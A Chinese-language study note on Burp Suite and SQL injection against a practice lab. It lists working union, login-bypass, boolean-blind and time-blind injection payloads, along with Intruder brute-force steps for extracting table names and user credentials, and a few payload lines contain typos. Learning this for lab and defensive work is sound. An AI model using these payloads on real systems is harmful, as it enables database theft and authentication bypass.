burpsuite

bp相关功能:

Target(目标)——显示目标目录结构的的一个功能。

Proxy(代理)——拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。

Spider(蜘蛛)——应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。

Scanner(扫描器)——高级工具,执行后,它能自动地发现web 应用程序的安全漏洞。
Intruder(入侵)——一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing 技术探测常规漏洞。

Repeater(中继器)——一个靠手动操作来触发单独的HTTP 请求,并分析应用程序响应的工具。

Sequencer(会话)——用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。

Decoder(解码器)——进行手动执行或对应用程序数据者智能解码编码的工具。

Comparer(对比)——通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。

Extender(扩展)——可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能。

Options(设置)——对Burp Suite的一些设置。

FoxyProxy Standard

快速代理插件,来开启代理服务。方便使用BurpSuite给浏览器开启127.0.0.1:8080代理服务

关于127.0.0.1:8080

127.0.0.1 “本地回环地址”,指向本地计算机,向这个地址发送数据时,数据会直接在本机处理。

8080端口用于指定计算机上的特定服务或应用程序

弱口令及爆破

弱口令通常认为容易被别人猜测或被破解工具破解的口令均为弱口令。弱口令指的是仅包含简单数字和字母的口令,例如”123”、”abc”等。

爆破弱口令流程:

bp抓到包后,右键发送到intruder模块–>添加$到需要爆破的字段–>在payload处设置要爆破的字典–>点击右上角的start attack按钮即可开始爆破,可以根据返回的长度(或者状态码)来判断是否爆破成功

SQL注入初步

SQL:结构化查询语言(Structured Query Language),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)

注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

SQL注入表达式

?id=1'order by 3 --+ ———> 利用数据库的脆弱点,尝试探测出表中有多少列或者其他信息。多次尝试order by命令来确定表中确切列数。

id=1 查询参数;’用单引号来结束字符串部分,进一步加入自己的代码;

order by 用来排序的命令 3表示按查询结果第三列进行排序,用来测试数据库表中是否有至少三列数据。如果第三列不存在,查询会出错,攻击者就可以通过这个错误信息推断出表的列数。

**--+**:这是SQL注释符的用法。-- 后面的内容都会被当作注释忽略,不会被执行。因此,在这条SQL语句之后的部分将不会运行。这样可以控制SQL查询的结束点。

判断sql语句是否是拼接,且是字符型还是数字型

1.SQL拼接的判断:看SQL查询中是否直接拼接了用户输入的参数。

2.判断字符型还是数字型:如果查询中参数用引号包裹,通常是字符型;如果没有引号,则是数字型。

ps:如何通过向url传入?id=1’和?id=1’–+来说明字符型还是数字型? (假设为字符型则存在sql查询id = ‘1’)

传入 ?id=1’——> id =’1’’(第二个单引号破坏了语法会报错) 传入 ?id=1’–+ ——> id = ‘1’–+’(–为注释符号实际被解析为id = ‘1’查询正常)

3.字符型字段数字型字段在SQL中的处理方式

字符型字段

  • SQL语法规定,字符型字段的值必须用单引号包裹。
  • 当遇到注释符 -- 时,SQL引擎会忽略后续内容,使得查询可以正常执行。因此,传入 1'--+ 能被成功注释掉,查询只会执行 id = '1' 的部分。

数字型字段

  • SQL语法规定,数字型字段的值不能用单引号包裹。
  • 当数字型字段遇到 1'--+ 时,SQL引擎先解析 1,但在遇到单引号 ' 时出错,因为数字值不允许引号。在错误发生前,注释符 -- 没有机会生效,因此导致语法错误。

?id=-1' union select 1,database(),3 --

id=-1的运用

使用数据库user表中通常不存在的ID确保第一个查询不会返回任何记录,而继续执行union select部分,这样数据库不会因为第一个查询返回了数据而影响到第二个查询的执行,进而能够控制第二部分的返回结果,例如在 UNION SELECT 中插入函数调用(如 database())来获取数据库信息。

UNION

通过 UNION,数据库将强制返回三列,分别是数字 1,当前数据库的名字,以及数字 3UNION 合并了两个查询的结果,即使第一个查询没有数据返回,注入的 SELECT 1, database(), 3

关于一段代码的理解

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

目的是从数据库中提取特定的信息

information_schema.tables

information_schema 是 系统数据库,包含有关所有其他数据库及其对象(如表、列、索引等)的信息。

tablesinformation_schema 中的一个表,它存储了所有数据库中的表的元数据。包括每个表的名称、类型、创建时间、所属数据库等。

where table_schema='security'

table_schema 列用于指定表所属的数据库名称。在这个条件下,查询只返回属于名为 security 的数据库中的表的信息。

``GROUP_CONCAT(table_name)`

GROUP_CONCAT 是一个聚合函数,用于将多行数据合并为一个字符串。它会把选定列的值连接在一起,默认使用逗号 , 分隔。在这个查询中,table_nameinformation_schema.tables 中的一列,表示每个表的名称。

SQL注入基本知识:

几个名词

  • information_schema 系统数据库,记录当前数据库的数据库,表,列,用户权限等信息
  • schemata 储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等
  • tables储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等
  • columns储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

联合注入(union注入)基本步骤

注:联合注入需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。

确定字段数量(?id=1’ order by n –+)

从1开始改变n的大小,如果网页报错证明n大于真实,order by n是对第n个字段进行排序的意思

判断回显位

利用id=-1保证前面的查询查不出数据确保后面的联合查询能正常运行。

?id=-1' union select 1,2,3 --+

获取系统数据库名

group_concat()的作用是把回显放到一行里,便于观察

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

获取当前数据库名

?id=-1' union select 1,2,database() --+

获取数据库中的表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

即获取security数据库下的所有表名

获取表里的列名

获得users表下的所有字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

获取数据

如果我们想获得users表下username以及password的值:

?id=-1' union select 1,2,group_concat(username , password) from users --+

sql万能密码

永真语句—— ‘ or 1=’1 ‘or’=’or’

union插入临时表:利用查询不存在数据返回的虚拟临时数据来进行登录。

用\构造:可以传入username=admin\&password=or 2>1#,这时后台接受到的就是:

select * from users where username=’admin' and password=’ or 2>1#’;

\会闭合掉admin后面那个引号,相当于接收到where username=’admin and password=’ or 2>1 ,这显然是一个永真判断,虽然不存在admin and password=这个用户,但我们用or 2>1让这个条件永远成立了。

布尔盲注

盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行SQL注入。

布尔盲注:在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功。(即:返回查询语句的布尔值)

布尔盲注的条件:

?id=1’ and 1=1–+ 真页面true

?id=1’ and 1=2–+ 假页面false

三个函数:

length():length((select database()))判断数据库的长度 substr():substr(a,b,c) a是要截取的字符串,b是截取的位置,c是截取的长度 ascii():将截取的字符转换成对应的ascii码,根据数字找到对应的字符

手动注入——爆爆爆

1、判断输入是否有闭合符(id=1 and 1=2
如果显示you are in 表示成功进入,则存在闭合符,即是字符型,因为1=2 这个假命题被当成一个字符串处理而不是判断语句。

2、判断闭合符
首先猜闭合符,例如 猜 ‘) 如果没显示you are in 表示猜中了一部分
然后把 ‘) 的一部分去掉变成 ‘ ,此时显示you are in 说明猜中了,闭合符就是 ‘

3、判断当前数据库名

判断当前数据库名长度,id=1' and length(database()) =n --+ 猜数据库名,id=1' and substr(database(),1,1)='s' --+ 可手动多次判断

或使用bp抓包进行爆破,爆破类型选择Cluster bomb,因为我们需要爆破的有两个位置分别是数据库名的第几位和数据库名,两个位置选中add并写字典。 因为字典一是代表数据库名的第几个字母,我们已经知道数据库名是8个字母组成,所以字典一的内容就是1-8。字典二是爆破数据库名,数据库名是由字母组成所以字典二是字母a-z。

4、判断指定库的所有表

判断当前库有多少个表

id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4 -- -

判断指定库中表名最多有几个字母

id=1' and length((select table_name from information_scheam.tables
where table_schema=database() limit 0,1))=6 -- -

Burp Suite进行爆破。
爆破位置:?id=1 and substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1)=’a

字典一:security库中有4个表,所以字典一内容是0-3 字典二:指定库中最长表名有n个字母,所以字典二内容是1-n(可以挨个试试看看最长是几位,我在爆破时直接取了20) 字典三:指定表的表名,所以字典内容是字母a-z

5、判断指定库指定表的字段

判断指定表中有几个字段

id=1' and (select count(column_name) from information_schema.columns
where table_schema='security' and table_name='users')=3 -- -

判断指定库的指定表中字段最多有几个字母

id=1' and length((select column_name from information_scheam.columns
where table_schema=database() and table_name='users' limit 0,1))=2 -- -

Burp Suite进行爆破。
爆破位置:?id=1 and substr((select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1),1,1)=’a‘– -

字典一:security库中的users表中有三个字段,所以字典一的内容是0-2 字典二:指定字段名最多有n个字母(我没有尝试最多有几个字母因为是靶场不存在因攻击数量太大产生的负面影响,所以字典二的内容我写的是1-20) 字典三:指定库的指定表的字段名,所以字典三的内容是字母a-z

6、爆破内容

判断内容中有几个用户

id=1' and (select count(username) from security.users)=13 -- -

判断内容名有最多有几个字母

id=1' and length((select username from security.users limit 0,1))=4 -- -

Burp Suite进行爆破。

时间盲注

根据页面的响应时间来判断是否存在注入

使用场景

  1. 页面没有回显
  2. 页面不显示数据库的报错
  3. 无论成功还是失败,页面只响应一种结果

步骤

1.判断注入点

?id=1’ and if(1, sleep(5), 3) – a 延时5秒响应
?id=1’ and if(0,sleep(5),3) – a 正常响应

If()函数第一个参数是条件表达式,1转换为true执行第二个参数位置的代码,即sleep(5),延时5秒相应;0转换为false执行第三个参数位置的代码,即3,自定义占位符无实际意义。

2.脱库(判断长度、枚举字符)

判断返回结果的长度: ?id=1’ and if((length(database())>1),sleep(5),3) –+ 判断第一个字符的ascll码是否大于1: ?id=1’ and if((ascii(substr(database()),1,1)>1),sleep(5),3) –+

…猜数据库名、表名长度、表名、字段长度、字段名、数据

数据库及MySQL语句

从php直接登录或从命令行cmd登录连接:mysql -p 127.0.0.1(ip) -P 3306(port) -uroot(用户名) -proot(密码)

对库:

show databases (查看当前MySQL服务器中有哪些数据库) creat database (创建新的数据库) use 数据库名 (切换数据库) select database() (查看当前正在使用的数据库) drop database 数据库名(删除数据库)

对表:

show tables (查看当前数据库中有哪些表) desc 表名 (查询表结构) select*from 表名 (查询表中的数据)

SELECT语句:(*)

查询表中指定的列:select 列名 from 表名 查询多个列:select 列名1,列名2 from 表名 查询所有列:select * from 表名 用where进行条件查询:select 列名 from 表名 where 列名=“xx”

INSERT插入语句:

屏幕截图 2024-10-29 215343

…update…delete操作在此不作解释

AMP

“PHP编写的页面程序运行在apache上,数据通过MySQL进行承载和读取,最后将页面呈现在用户的浏览器上”

1